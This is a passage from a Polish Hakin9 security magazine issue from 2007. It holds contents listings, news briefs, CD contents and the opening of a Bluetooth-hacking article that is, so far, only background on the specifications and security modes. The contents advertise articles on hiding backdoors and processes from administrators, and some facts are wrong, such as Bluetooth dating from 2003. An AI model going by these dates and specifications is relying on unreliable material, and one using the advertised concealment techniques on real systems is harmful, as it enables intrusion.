Hakin9 23 (03 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 3/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Przedstawiamy garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych.

Zawartość CD –
hakin9.live

8

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Atak

Hakowanie na bluetooth

10

Ugo Lopez

Bluetooth to technologia, która ma ułatwić komuniko-

wanie się pomiędzy różnego rodzaju sprzętem elek-

tronicznym. Ma także swoje słabe punkty, które są

przedstawione w tym artykule.

Ataki na protokół TCP

z wykorzystaniem ICMP

18

Marcin Ulikowski

Autor Marcin Ulikowski wyjaśnia na czym polega

atak na protokół TCP z wykorzystaniem komunika-

tów ICMP. Pokazuje jak przeprowadzić atak z wyko-

rzystaniem omawianego protokołu oraz jak zabezpie-

czyć się przed podobnym atakiem.

Wybrane techniki

maskowania swojej obecności

w systemie GNU/Linux

24

Robert Jaroszuk

Pokazujemy jak stworzyć i napisać backdoor ukryty w

kernelu. Daje wskazówki jak ukryć przed administra-

torem systemu proces, którego nie powinien widzieć,

pliki oraz moduł kernela załadowany przez intruza.

Pasywne rozpoznawanie

systemów operacyjnych

36

Marcin Ulikowski

Przedstawiamy informacje na czym polega atak na pro-

tokół TCP z wykorzystaniem komunikatów ICMP, w jaki

sposób przeprowadzić atak i jak się przed nim bronić.

Niewidzialne backdoory

42

Michał Styś

Michał Styś w swoim artykule proponuje jak ukryć

sieciowy backdoor w systemie oraz jak uniezależnić

komunikację z backdoorem od poltyki firewalla zasto-

sowanej na atakowym serwerze.

O

ddajemy kolejny numer Hakin9 do Państwa rąk.

Mam nadzieję, że i tym razem znajdzie się wiele cie-

kawych artykułów, które nie pozwolą odłożyć nasze-

go czasopisma na zakurzoną półkę z innymi magazynami.

Bluetooth z języka angielskiego oznacza sinozęby lub

błękitny kieł i jest technologią, która powstała w celu lep-

szego komunikowania się pomiędzy różnymi urządzeniami

elektronicznymi typu telefon komórkowy, komputer, laptop,

czy klawiatura. Jest bardzo popularny wśród użytkowni-

ków urządzeń elektronicznych i między innymi dlatego głów-

nym tematem niniejszego numeru jest hakowanie Bluetho-

ot'a. Oprócz tego magazyn zawiera artykuły dotyczące tech-

nik maskowania w systemie GNU/Linux, będzie można się

dowiedzieć czegoś więcej o zabezpieczeniach kont PHP i

wiele więcej potrzebnych informacji osobom zainteresowa-

nym tematyką Hakin9!

Redakcja hakin9

background image

4

www.hakin9.org

hakin9 Nr 3/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Bezpieczeństwo kont PHP

48

Paweł Maziarz

PHP to język skryptowy, na którym bazują większość

serwisów internetowych. Paweł Maziarz przedstawia

informacje dotyczące możliwości obejścia zabezpie-

czeń PHP oraz na jakie funkcje PHP należy zwrócić

szczególną uwagę w skryptach z różnych źródeł.

Bezpieczeństwo usług WWW

w Windows Longhorn Server

60

Artur Żarski

Najnowsza wersja systemu operacyjnego Windows

Server, aktualnie pod nazwą kodową Longhorn

będzie dostępna na rynku w listopadzie 2007 roku.

Co prawda do premiery zostało jeszcze dużo czasu,

ale już teraz można przyjrzeć się najnowszej wersji

serwera WWW, czyli IIS7.

Detekcja anomalii ruchu

sieciowego w programie Snort

64

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

Autorzy pragną, aby czytelnicy dowiedzieli się o pro-

cesorach do Snorta bazujących na detekcji anomalii

i starają się wytłumaczyć jak napisać własny proce-

sor do Snorta.

Księgozbiór

69

Krystyna Wal, Łukasz Długosz

Recenzujemy książki: Bezpieczeństwo protokołu

TCP/IP kompletny przewodnik, Bezpieczeństwo w

Windows Server 2003 Kompendium

Sprzęt

Dyski twarde

70

Rafał Podsiadły

Historia pamięci masowych sięga połowy dzie-

więtnastego wieku – już wtedy używano kart per-

forowanych do wprowadzania danych do mecha-

nicznych maszyn liczących. Pierwsze elektronicz-

ne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się

różne pamięci magnetyczne: bąbelkowe, taśmo-

we, bębnowe.

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny:
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Martyna Żaczek

Tłumaczenie: Katarzyna Kruś

Wyróżnieni betatesterzy: Michał Gałka, Rafał Rawicki

Opracowanie CD: Wojciech Trynkowski

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Aera artur.wieczorek@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 3/2007

Słaby 2006

Bezpieczeństwo IT w 2006 roku

było bardzo słabe jak donosi raport

znanego serwisu SECUNIA. Można

wyróżnić kilka grup słabości doty-

czących bezpieczeństwa, najwięk-

szą z nich stanowią słabości z

kategorii system access, a drugą

powszechnie znaną są te słabo-

ści dla których nie ma rozwiązań.

Pierwsza grupa charakteryzuje się

tym, iż bezpośrednio pozwalaja na

dostęp do zasobów komputera. Jak

się okazuje nowym trendem wśród

hakerów stał się atak na zasoby

konkretnych komputerów.

Drugą grupą słabości są te dla któ-

rych nie ma łat, a są one powszech-

nie dostępne (tzw. “ 0-day expolits).

Tutaj przewagę mają zagrożenia,

które są związane z oprogramo-

waniem Microsoft Office. Może się

to wydać bardzo groźne w momen-

cie kiedy posiadacz komputera nie

zadbał o odpowiednie bezpieczeń-

stwo swojego sprzętu.

Bardziej zainteresowanych tym

tematem odsyłamy do przeczytania

całego raportu SECUNIA. Można

tam przeczytać o różnych badaniach

prowadzonych przez tą właśnie

firmę, jak i o bezpieczeństwie naj-

ważniejszych aplikacji zainstalowa-

nych na prywatnych komputerach.

Niebezpieczny

Internet Explorer

Amerykańska gazeta The Washing-

ton Post, poinformowała, że Inter-

net Explorer, najpopularniejsza

przeglądarka na świecie była nieza-

bezpieczona przez 284 dni w 2006

roku. Informacje oparte były na

danych przekazanych przez firmę

Microsoft oraz na wywiadach ze

specjalistami ds. Bezpieczeństwa.

78% dni ubiegłego roku użytkow-

nicy IE byli narażeni na niebezpie-

czeństwo. Przez ok. 100 dni jedna

luka była aktywnie wykorzystywa-

na przez hackerów do kradzieży

danych osobowych oraz finanso-

wych. Porównując, główny konku-

rent Internet Explorera – przeglą-

darka Firefox – przez 9 dni miała

poważne problemy z załataniem

dziury. W Sieci, w ubiegłym roku,

pojawiło się kilkanaście informa-

cji, pokazujących, jak wykorzystać

dziury w IE, zanim jeszcze zosta-

ło to naprawione. Przed publika-

cją tych danych, autor Brian Krebs,

pokazał wyniki badań przedstawi-

cielom Microsoftu, a oni nie mieli

wobec nich żadnych zastrzeżeń.

Jak bezpiecznie jest w banku

M

Bank jest pierwszym w
Polsce wirtualnym bankiem.

Blisko 100 000 osób korzysta z
kart kredytowych tej instytucji. Naj-
ważniejszą kwestią powinno być
bezpieczeństwo środków finanso-
wych ulokowanych na rachunkach.
Jednak ostatnio konta klientów tego
banku zostały zagrożone. Wykry-
to błędy w systemie, które umoż-
liwiają wgląd do informacji doty-
czących danych właściciela konta,
a mianowicie adres zamieszkania,
adres korespondencyjny, e-mail itp.
Osoba niepożądana mogła przej-
rzeć listy przelewów- jak przebie-
gały transakcje i zdobyć informacje
na temat odbiorcy i kwoty. Mogła
mieć wgląd do danych dotyczących
zaciągniętych kredytów oraz kart
kredytowych. Teoretycznie środki
finansowe klientów są bezpieczne
ponieważ każdorazowe dokona-
nie transakcji musi być zatwierdzo-
ne jednorazowym hasłem z karty

kodów. mBank dokłada wszelkich
starań, aby naprawić swój system
i informuje, że zagrożenie doty-
czyło tylko klientów, którzy byli
zalogowani i jednocześnie kliknę-
li na spreparowany link przesła-
ny za pomocą poczty elektronicz-
nej, komunikatorów itp. Sytuacja
ta jest niemożliwa bez aktywnego
udziału zalogowanego użytkowni-
ka co nie pozwala na dokonanie
jakiejkolwiek transakcji, które są
zatwierdzane hasłem jednorazo-
wym TAN lub kodem SMS. Naka-
zuje także swoim klientom korzy-
stającym z Internetu o przestrzega-
nie zasad bezpieczeństwa i zabra-
nia uruchamiać linki przesłane w
e-mailach nieznanego pochodze-
nia. Wszelkie informacje dotyczą-
ce zabezpieczeń klienci mBanku
mogą przeczytać na stronie http:

//www.mbank.com.pl/ w zakładce
bezpieczeństwo.

Łamanie protokołów Bluetooth

W

dzisiejszych czasach postęp
techniczny idzie szybko na

przód, niedawno niemieccy progra-
miści umożliwili dostęp do dwóch
aplikacji, które pozwolą przejąć kon-
trolę nad urządzeniami, wykorzystu-
jącymi do łączności protokół Blueto-
oth. Narzędzia te mogą wyrządzić
wiele szkód komputerom PC i tele-
fonom komórkowym. Zostały one
przedstawione ma kongresie Chaos

Communications Congres w Berli-
nie.

Tematem kongresu było przed-

stawienie faktu, iż bardzo dużo
firm nie zwraca uwagi na standard
Bluetooth, skupiając się tylko na
zabezpieczeniu tylko sieci bezprze-
wodowych, opartym na popular-
nych protokołach

IEEE 802.11a/b/g

.

Prezentacji narzędzi dokonał Thier-
ry Zoller.

Istnieje

wiele

przykładów

łamania protokołu Bluetooth np.:
narzędzie HID (Human Interfa-
ce Device). Daje ono możliwość
kontroli nad klawiaturą, działającą
poprzez BT exploit, co pozwala na
zdobycie informacji znajdujących
się w komputerze. Jak twierdzi
odkrywca tej luki – Collin Mulliner
HID attack jest bardzo trudny do
wykrycia a nawet niemożliwy, jest
to spowodowane brakiem wspar-
cia trybu serwerowego przez pro-
dukty HID.

Rysunek

Bluetooth

background image

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 3/2007

Kerio WinRoute Firewall

Kerio WinRoute Firewall 6.2.3-

2027-Profesjonalna aplikacja stwo-

rzona dla sieci korporacji, jej naj-

nowsze wydanie chroni przed ata-

kami z zewnątrz oraz wirusami,

ogranicza dostęp do witryn w opar-

ciu o ich zawartość. Główną zaletą

Kerio WinRoute może być obsługi-

wana za pomocą przeglądarki Inter-

net Explorer wersji 7. Jest także

udoskonalony bardziej niż poprzed-

nia jego wersja, a mianowicie lepiej

współpracuje z programami antywi-

rusowymi i usunięto problemy zwią-

zane z konfiguracją sieci.

Aplikacja umożliwia szczegóło-

we definicje reguł do filtrów typu

stateful inspection (dla połączeń

wychodzących i przychodzących),

szybkie dzielenie łącza interne-

towego, zabezpieczenie antywi-

rusowe oraz pełne wsparcie dla

technologii VPN, VoIP oraz UpnP.

Oprócz tego blokuje zagrożone i

niebezpieczne strony interneto-

we. Dodatkowo dodano antywi-

rusowe skanowanie poczty, doło-

żono silnik antyspamowy dla

poczty przychodzącej, bezpośred-

nia wymiana plików (P2P) została

zablokowana, ale dodano możli-

wość powiadamiania przez pocztę

o ważnych zdarzeniach.

Microprocesor CELL

Głównym tematem lutowej konfe-

rencji ISSCC 2007 będzie mikro-

procesor CELL, wytwarzanego w

technologii 65 nm. Został on wypro-

dukowany w technologii 65 nm

CMOS SOI.

Układ wyróżnia się dużą oszczęd-

nością energii elektrycznej, zuży-

wając jedynie 1,3 V.

Częstotliwość taktowania zegara

mikroprocesora CELL wynosi 6

Ghz. Nieoficjalnie mówi się, że

pierwszym urządzeniem w którym

zamieści się chip będzie konsola

Playstation 3 firmy Sony.

Atak na Open Source

B

aza MySQL projektu Beryl
została wykasowana. Beryl to

projekt, który jest oparty na mena-
dżerze okien Compiz firmy Novell.
Obecnie jest samodzielnym akcele-
ratorem pulpitu. Oferta jest oparta m.
in. na: segregacji okienek i wyświe-
tlanie ich w postaci miniaturek, przy-
bierają one różnorodną animację
oraz wyświetlanie takich efektów
jak pulpit w postaci trójwymiarowej
kostki sześciennej. Ataku dokonał
członek Compiz i stało się to drugie-
go stycznia. Zostały usunięte dane
dotyczące działania strony www pro-
jektu Beryl, blogów programistów
oraz berylowej wiki. Włamywacz

oszczędził jedynie forum projektu.
Jak się okazało atakujący zdobył
dane dostępowe do konta phpMy-
Admin, co prawda były to dość ogra-
niczone uprawnienia, ale zdołał
usunąć tabele.

Złapanie

włamywacza

było

bardzo prostą sprawą ponieważ w
żaden sposób nie ukrył swojego IP.

Co do samego przestępcy nie

podjęto jeszcze żadnych sankcji
prawnych (grozi mu nawet rok wie-
zienia), a sam zainteresowany przy-
znał się do winy i swój czyn tłumaczy
frustracją.

Wirtualna telewizja

P

rojekt, który tak hucznie został
ogłoszony na Wirtualnej Polsce

ruszył pełna parą! Chodzi o interne-
tową telewizję, która była testowana
od połowy grudnia, a teraz ruszył już
w oficjalnej wersji. Ogłoszone je naj-

ważniejszym wydarzeniem na pol-
skim rynku internetowym i zaczęło
swoją działalność od uruchomienia
czterech kanałów: biznesowy, infor-
matyczny, rozrywkowy i tu się ucie-
szy męska część społeczeństwa
polskiego- erotyczny.

Internetowa telewizja wirtualnej

polski daje możliwość dobierania
sobie programów według własnych
potrzeb. Obecne cztery kanały to
oczywiście wstęp do tego co dopie-
ro ma nastąpić. W chwili obecnej
każdy z kanałów ma własną ramów-
kę-poszczególne programy są nada-
wane o określonych godzinach.
Telewidz dzięki Archiwum może
korzystać z poszczególnych kana-
łów (Video-on-Demand). Wszystkie
cztery kanały wydają się dość inte-
resujące.

Program

informacyjny-News-

zawiera takie programy jak: Roz-
mowa dnia, w której internauci będą
mogli obejrzeć autorskie wywia-
dy ze znanymi osobami; przegląd
prasy-informacje z najciekawszych
i najbardziej poczytnych polskich

czasopism;komentarz dnia-udzie-
lany przez polityków;orzeł i gwiaz-
dy-wywiady;vip room oraz program
poświęcony sondom ulicznym-hyde-
park.

Drugim kanałem, który będzie

można obejrzeć w wirtualnej
polsce to kanał rozrywka. Zain-
teresowani będą mogli zobaczyć
w nim zapowiedzi filmów i gier,
plotki z życia gwiazd polskich jak
i zagranicznych, teledyski, progra-
my dokumentalne. Będzie także
można ujrzeć Roberta Patoletę w
programie Jazda Niekontrolowa-
na, a także program satyryczny
Kookly-polskie Muppet Show.

Kanał Biznes został stworzo-

ny dzięki współpracy z pierwszą
w Polsce telewizją biznesową TV
Biznes. Będą poruszane tu tematy
związane z giełdą, z rynkiem inwe-
stycyjnym, walutowym, finanso-
wym. Podawane będą informacje
na temat podatków, analiz ekono-
micznych.

Godziny 23.00-6.00 rano wirtual-

na polska przeznaczyła ten czas na
kanał erotyczny. Oczywiście prze-
znaczony on jest głównie dla męskiej
widowni po 18 roku życia. Będzie
można w nim obejrzeć krótkie filmy
erotyczne.

Rysunek

Kerio WinRoute

Firewall

background image

hakin9.live

hakin9 Nr 3/2007

www.hakin9.org

8

Zawartość CD1

Axigen Mail Server Lite Edition kit

Są to szybkie, niezawodne i bardzo bezpieczne serwery
pocztowe. Pracują one na serwerach Linux: Red Hat,
SuSE, Madrake, Fedora, Ubuntu, Debian, Gentoo oraz
BSD: FreeBSD, OpenBSD, NetBSD. Serwery te mogą
używać wszyscy: od małych przedsiębiorstw po duże.
Do najgłówniejszych cech Axigen Mail Server Lite Edi-
tion kit należą: prosta konfiguracja i elastyczność, modu-
larna architektura (zintegrowane usługi email, niezależne
konfigurowanie oraz wielowątkowe moduły), szybkie wy-
szukiwanie niepożądanych połączeń, ochrona przeciw
atakom, zgodność ze specyfikacjami RFC, równoległe
przetwarzanie i wymiana danych. Podstawowa pomoc
techniczna jest w cenie.

Oleansoft Hidden Camera 250x1

Jest znakomitym programem dla pracodawców, którzy
chcą wiedzieć co ich pracownicy robią podczas ośmio-
godzinnego trybu pracy. Teraz to już jest proste z Ole-
ansoft Hidden Camera 250x1, bo ona może kontrolować
wszystkie komputery jednocześnie, oraz wszystkich
pracowników i ich biura. Najogólniej mówiąc program
pozwala na podgląd wszystkich komputerów przez sieć
lokalną lub Internet. Kontrola ponad 50 komputerów rów-
nocześnie jest już możliwa poprzez zapisywanie zrzutu
ekranu komputera np. co 60 sekund. Każda taka zrzutka
jest zapisywana na komputerze pracodawcy.

Dekart Password Carrier

Automatycznie zbiera, bezpiecznie przechowuje hasła
oraz prywatne detale, które są wpisywane podczas logo-
wania na stronach i używane podczas aplikacji Windows.
Służy także do ochrony przed “phishing'iem” i wykrada-
niem haseł. Funkcja generowania bezpiecznych i trwa-
łych haseł to tylko niektóre z zalet tego programu.

Backup Platininum 3.0

Jest łatwym w użyciu programem do tworzenia kopii
bezpieczeństwa filmów na płytach DVD. Jest wstanie od-
tworzyć całą zawartość krążka-film, zapowiedzi, ścieżki
dźwiękowe oraz napisy. Jest funkcjonalna jak wersja
Gold i prosta jak wersja Express.

Kurs na certyfikat Cisco CCNA cz. II

Certyfikat CCNA przeznaczony jest dla specjalistów
od niewielkich sieci (do 100 stanowisk) i potwierdza
umiejętności w zakresie instalacji i konfiguracji routerów
i przełączników Cisco w sieciach LAN i WAN (popra-
wa wydajności i bezpieczeństwa sieci oraz usuwanie

Zawartość CD

problemów). Kandydat może wybrać dowolny sposób
przygotowania się do egzaminu, w szczególności edu-
kację zdalną. Certyfikatem CCNA kończy się również
czterosemestralny kurs realizowany w ramach programu
Cisco Networking Academy, z którego korzysta obecnie
800 studentów z 19 szkół i uczelni.

Zawartość CD2

Na drugiej płycie znajduje się hakin9.live (h9l) w wersji
3.1-aur – bootowalna dystrybucja Auroxa, zawierająca
przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów. Aby zacząć pracę z hakin9.live,
wystarczy uruchomić komputer z CD1. Po uruchomieniu
systemu możemy zalogować się jako użytkownik hakin9
bez podawania hasła. Materiały dodatkowe zostały
umieszczone w następujących katalogach:

• tut – 25 tutoriali
• Aurox-Live;
• E-books

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest
dostępna z podkatalogu /mnt/cdrom. Wersję hakin9.live
3.1-aur zbudowaliśmy, opierając się o dystrybucję Aurox
i skrypty automatycznej generacji (www.aurox.org/pl/
live). Narzędzia dystrybucji, które nie znajdują się na do-
łączonej do pisma płycie, instalowane są z repozytorium
Auroxa za pomocą programu yum. W porównaniu z haki-
n9.live 2.9.1-ng zasadniczą zmianą jest oparcie systemu
na dystrybucji Aurox Live 11.1. oraz przejście z Fluxboksa
na środowisko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na CD1 opracowane zostały praktyczne ćwiczenia do

jendego artykułu – Sieci nie lokalne, który można prze-
czytać w piśmie. Zakładamy, że podczas wykonywania
ćwiczeń związanych z artykułami i tutorialami, użytkow-
nik korzysta z hakin9.live. Dzięki temu uniknie proble-
mów związanych z różnymi wersjami kompilatorów, inną
lokalizacją plików konfiguracyjnych czy opcjami niezbęd-
nymi do uruchomienia programu w danym środowisku.
hakin9.live został przygotowany pod kątem tych ćwiczeń
i zawiera wszystkie wymagane aplikacje. l

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

www.hakin9.org

hakin9 Nr 3/2007

10

Atak

K

tóż nie pamięta czasów, nie tak znowu
odległych, kiedy to telefon komórkowy
był postrzegany z pewną dozą nieufno-

ści bądź zazdrości? Uznawany pierwotnie bar-
dziej za symbol statusu niż za narzędzie komu-
nikacji, telefon komórkowy stanowi już od dłuż-
szego czasu nieodłączny element codzienne-
go życia każdego z nas.

Technologia Bluetooth, powstała by poko-

nać ograniczenia portów na podczerwień IRDA
(Infra Red Device Adapter) i FastIRDA, gdzie
urządzenia peryferyjne musiały być wzajemnie
widoczne i oferowały niskie prędkości przesy-
łowe, rozwija się ponad wszelkie przewidywa-
nia. Jak w przypadku każdej rzeczy na polu in-
formatycznym, gdy postęp dokonuje się w spo-
sób tak gwałtowny, bezpieczeństwo pozostaje
daleko w tyle. Rzeczywiście, liczne są słabości
obecne w Bluetooth. Lecz po kolei, najpierw
postarajmy się opisać w miarę szczegółowo tę
technologię.

Technologia Bluetooth

Bluetooth powstał w 2003 roku. Z inicjatywy
wielu producentów stanowiących konsorcjum
SIG (Ericsson, Nokia, Microsoft, Intel, Motoro-
la, Apple i innych), Bluetooth jest obecny nie-

malże we wszystkich urządzeniach przeno-
śnych (telefony komórkowe, słuchawki, nawi-
gatory satelitarne, drukarki, itd.). Technologia
ta pozwala tworzyć prawdziwe PAN (Personal
Area Network) w sposób umożliwiający wza-
jemne korzystanie z zasobów pomiędzy urzą-
dzeniami, nie koniecznie jednakowymi, czyniąc
maksymalnie prostym wpółdziałanie z użyt-
kownikiem.

Aktualnie istnieją 2 standardy stosowane w

urządzeniach peryferyjnych obecnych na ryn-
ku:

Hakowanie Bluetooth

Ugo Lopez

stopień trudności

Bluetooth jest technologią, która powstała by ułatwić nasze

zdolności komunikowania się. Okazał się jednak także

technologią nadającą się do kradzieży danych. W tym artykule

przedstawimy Wam jak wykorzystać jego słabe punkty.

Z artykułu dowiesz się...

• jakie są słabe punkty niektórych urządzeń Blu-

etooth i jak je wykorzystać.

Co powinieneś wiedzieć...

• znajomość na poziomie użytkownika systemów

Windows,

• znajomość na poziomie użytkownika systemów

Linux, zastosowanie powłoki shell,

• znajomość na poziomie użytkownika zaawan-

sowanego mobilnych urządzeń Bluetooth.

background image

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

11

• Core Specification 1.2 – 5 listo-

pada 2003,

• Core Specification 2.0 + EDR

– 15 października 2004.

Oprócz nich istnieją również standar-
dy już zaniechane. A dokładniej:

Bluetooth 1.0 i 1.0B: wersje 1.0 i

1.0B nęka wiele problemów, przede
wszystkim związanych ze współdzia-
łaniem produktów odmiennych kon-
struktorów. Pomiędzy tymi dwoma
standardami dokonano zmian w pro-
cesie weryfikacji adresu fizycznego
przypisanego każdemu urządzeniu:
stara metoda uniemożliwiła pozosta-
wanie anonimowym podczas komu-
nikacji, stąd jakiś złośliwy użytkow-
nik wyposażony w skaner częstotliwo-
ści mógł przechwycić ewentualne po-
ufne informacje. Wersja B przyniosła
także zmiany związane z obsługą śro-
dowiska Bluetooth usprawniając moż-
liwość współdziałania,

Bluetooth 1.1: naprawia wiele błę-

dów, które pojawiły się w wersji 1.0B.
Pozwala na komunikację przy wyko-
rzystaniu kanałów niekodowanych.

Obecnie standard 1.2, kompaty-

bilny z wersją 1.1, przewiduje: Ada-

ptive Frequency Hopping (AFH): ta
technika zapewnia większą odpor-
ność na interferencje elektromagne-
tyczne, gdyż unika stosowania kana-
łów podatnych na silne interferen-
cje, zwiększa szybkość transmisji,

extended Synchronous Connections
(eSCO): oferuje tryb transmisji audio
wysokiej jakości, przesyłając ponow-
nie dane w razie ich utraty. Został
także wprowadzony czujnik jakości
sygnału. Posiada interfejs pozwala-
jący na obsługę aż trzech UART
(standard symulujący obecność po-
łączenia kablowego) i na dostęp do
informacji związanych z synchroni-
zacją transmisji Bluetooth.

Natomiast standard 2.0, kompa-

tybilny ze wszystkimi wcześniejszy-

mi standardami, zapewnia następu-
jące usprawnienia: z motywów bez-
pieczeństwa unika przeskakiwania
pomiędzy kanałami. Bezpieczeń-
stwo zostaje zapewnione poprzez
algorytmy kryptograficzne, obsługu-
je zarówno multicast jak i broadcast,
zwiększa szybkość transmisji do 2,1
Mbit/s (3 we wspomnianej wcze-
śniej wersji z 15 października 2004),
wprowadza usługę obsługi jakości.
Wprowadza także protokół umożli-
wiający dostęp do urządzeń współ-
dzielonych, redukuje zauważalnie
czasy odpowiedzi i zmniejsza o po-
łowę wykorzystywaną moc.

Jest już w fazie przygotowania no-

wa wersja Bluetooth (o nazwie Lis-

bon) przewidująca: Atomic Encryption

Chance: okresowa zmiana hasła dla
połączeń kodowanych, Extended In-

quiry Response: dostarcza więcej in-
formacji o urządzeniach usiłujących
ustanowić połączenie, faworyzując
tym samym filtering urządzeń niepew-
nych, Sniff Subrating: system redukcji
zużycia w stanie sniffingu, poprawa

QoS (Quality of Service), Simple Pa-

iring: poprawa kontroli strumieni bitów
poprzez mechanizmy parowania.

Istnieje także kolejna wersja (o

nazwie Seattle) przewidująca wpro-
wadzenie jako znaczącą innowację

Ultra Wide Band (UWB), co pozwoli
na znaczące zwiększenie prędkości.

Wreszcie, urządzenia Bluetooth

można podzielić na 3 klasy (zobacz
Tabela 1).

W celu zapoznania się z innymi

szczegółami tych standardów moż-
na odwiedzić oficjalną stronę po-
święconą technologii Bluetooth i
ściągnąć dokumenty specyfikacji
(http://www.Bluetooth.com).

Rzućmy teraz okiem jak funkcjo-

nuje, zgrubsza, stos protokołów Blu-
etooth (Rys. 1)

W gruncie rzeczy możemy wy-

różnić w nim dwie części:

Host protocols: implementowane

na poziomie oprogramowania ko-
munikują się, poprzez API, z apli-
kacjami; obsługują funkcje wyż-
szego poziomu,

Controller protocols: obsługują

moduł radiowy.

Oba składniki komunikują się ze sobą
poprzez HCI (Host Controller Interfa-
ce), który jest odpowiedzialny za de-
finiowanie zbioru wiadomości i zbioru
sposobów ich transportowania.

Teraz przyjrzyjmy się bardziej

szczegółowo stosowi protokołów
(Rys. 2).

Jest to schemat ostateczny stosu

protokołów. W celu zapewnienia wy-
miany z innymi protokołami jego za-
sadniczymi składnikami są:

L2CAP (Logical Link Control and

Adaptation Protocol): kapsuł-
kuje pakiety i zapewnia mecha-
nizm abstrakcyjny przypominają-
cy koncepcję portów w TCP/IP,

SDP (Service Discovery Proto-

col): upublicznia usługi oferowa-
ne przez poszczególne urządze-
nia i wyszukuje usługi oferowane
przez urządzenia z którymi chce
się komunikować.

Spróbujmy teraz zaprezentować dia-
gram funkcjonalny protokołu Blueto-
oth (Rys. 3).

W skrócie, można wyróżnić nastę-

pujące stany: Standby: oczekiwanie na
połączenie, Inquiry: wykrywanie urzą-
dzeń znajdujących się w pobliżu, Page:
próba połączenia z urządzeniem, Con-

nected: urządzenie aktywne w sieci,

Transmit data: dane w trakcie transmi-
sji, Park/Hold: tryb niskiego zużycia.

Miejmy w pamięci ten diagram

funkcjonalny, ponieważ przyda się
nam do zrozumienia niektórych ty-
pów ataków.

Zasady bezpieczeństwa

Rzuciwszy okiem na specyfikacje
można zauważyć, że te przewidują
trzy rodzaje (nie)bezpieczeństwa:

mode 1: brak bezpieczeństwa,
mode 2: ochrona na poziomie

usługa/aplikacja,

Tabela

1. Trzy klasy Bluetooth

Klasa

Moc(mW)

Moc (dBm)

Odległo-

ść(Przybliżona)

Klasa 1

100 mW

20 dBm

~ 100 metrów

Klasa 2

2,5 mW

4 dBm

~ 10 metrów

Klasa 3

1 mW

0 dBm

~ 1 metr

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

12

mode 3: ochrona na poziomie

urządzenia.

Te trzy rodzaje są implementowane
w ramach czterech poziomów: pa-

iring: zostaje aktywowany pomiędzy
dwoma urządzeniami, które chcą ak-
tywować procedury bezpieczeństwa
i kontaktują się pomiędzy sobą po
raz pierwszy; w praktyce, użytkow-
nik wprowadza pin (identyczny) na
obu urządzeniach, a z kolei każde z
nich generuje pseudolosową liczbę;
w tym momencie otrzymuje się sha-

red secret (sekret współdzielony),
który jest wykorzystywany do komu-
nikacji, autentyfikacja: tzw. mecha-
nizm challenge (wyzwanie); w prak-
tyce bazuje na liczbie pseudolosowej
(challenge) i na shared secret, kody-

fikacja: ma miejsce, ewentualnie, po
autentyfikacji, autoryzacja: określa
czy żądanie urządzenia ma zostać
zaspokojone czy też nie; każda apli-
kacja może posiadać listę urządzeń,
